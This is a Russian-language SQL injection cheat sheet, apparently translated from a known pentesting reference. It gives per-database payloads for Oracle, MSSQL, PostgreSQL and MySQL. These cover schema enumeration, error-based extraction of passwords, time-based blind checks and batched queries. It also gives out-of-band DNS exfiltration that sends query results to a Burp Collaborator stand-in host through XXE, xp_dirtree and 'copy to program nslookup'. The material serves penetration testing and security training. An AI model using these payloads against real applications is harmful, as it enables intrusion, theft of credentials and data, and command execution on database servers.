SQL Injection cheat sheet
Эта шпаргалка по SQL Injection содержит примеры полезного синтаксиса, который можно использовать для выполнения различных задач, часто возникающих при проведении атак SQL Injection.
Конкатенация строк
Вы можете объединять несколько строк в одну.
Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar' [Обратите внимание на пробел между двумя строками]
CONCAT('foo','bar')
Подстрока
Вы можете извлечь часть строки, начиная с указанного смещения и с указанной длиной. Обратите внимание, что индексация смещения начинается с 1. Каждый из следующих выражений вернёт строку ba.
Oracle
SUBSTR('foobar', 4, 2)
Microsoft
SUBSTRING('foobar', 4, 2)
PostgreSQL
SUBSTRING('foobar', 4, 2)
MySQL
SUBSTRING('foobar', 4, 2)
Комментарии
Вы можете использовать комментарии, чтобы обрезать запрос и убрать часть исходного запроса, следующую за вашим вводом.
Oracle
--comment
Microsoft
--comment /*comment*/
PostgreSQL
--comment /*comment*/
MySQL
#comment-- comment [Обратите внимание на пробел после двух дефисов]
/comment/
Версия базы данных
Вы можете выполнить запрос к базе данных, чтобы определить её тип и версию. Эта информация полезна при составлении более сложных атак.
Oracle
SELECT banner FROM v$version SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
Содержимое базы данных
Вы можете перечислить таблицы, существующие в базе данных, и столбцы, которые содержатся в этих таблицах.
Oracle
SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Условные ошибки
Вы можете проверить одно булево условие и вызвать ошибку базы данных, если условие истинно.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Извлечение данных через видимые сообщения об ошибках
Вы потенциально можете спровоцировать сообщения об ошибках, которые раскрывают чувствительные данные, возвращаемые вашим вредоносным запросом.
Microsoft
SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL
SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret"
MySQL
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret'
Пакетные (или составные) запросы
Вы можете использовать пакетные запросы, чтобы выполнить несколько запросов подряд. Обратите внимание, что хотя последующие запросы выполняются, результаты не возвращаются в приложение. Поэтому эта техника в основном полезна для Blind SQL Injection, где вы можете использовать второй запрос, чтобы инициировать DNS-запрос, условную ошибку или задержку по времени.
Oracle
Does not support batched queries.
Microsoft
QUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE
PostgreSQL
QUERY-1-HERE; QUERY-2-HERE
MySQL
QUERY-1-HERE; QUERY-2-HERE
Задержки по времени
Вы можете вызвать задержку в работе базы данных при обработке запроса. Следующие примеры вызовут безусловную задержку в 10 секунд.
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
Условные задержки по времени
Вы можете проверить одно булево условие и вызвать задержку по времени, если условие истинно.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS-запрос
Вы можете заставить базу данных выполнить DNS-запрос к внешнему домену. Для этого вам нужно использовать Burp Collaborator, чтобы сгенерировать уникальный поддомен Burp Collaborator, который вы будете использовать в своей атаке, а затем опрашивать сервер Collaborator, чтобы подтвердить, что DNS-запрос произошёл.
Oracle
Уязвимость (XXE) для инициирования DNS-запроса. Уязвимость была исправлена, но существует множество не обновлённых установок Oracle:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Следующий приём работает на полностью обновлённых установках Oracle, но требует повышенных привилегий:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL
Следующие приёмы работают только в Windows:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
DNS-запрос с эксфильтрацией данных
Вы можете заставить базу данных выполнить DNS-запрос к внешнему домену, содержащему результаты внедренного запроса. Для этого вам нужно использовать Burp Collaborator, чтобы сгенерировать уникальный поддомен Burp Collaborator, который вы будете использовать в своей атаке, а затем опрашивать сервер Collaborator, чтобы получить сведения о любых DNS-взаимодействиях, включая эксфильтрованные данные.
Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'|(SELECT YOUR-QUERY-HERE)|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '|p|'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
MySQL
Следующий приём работает только в Windows:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
Last updated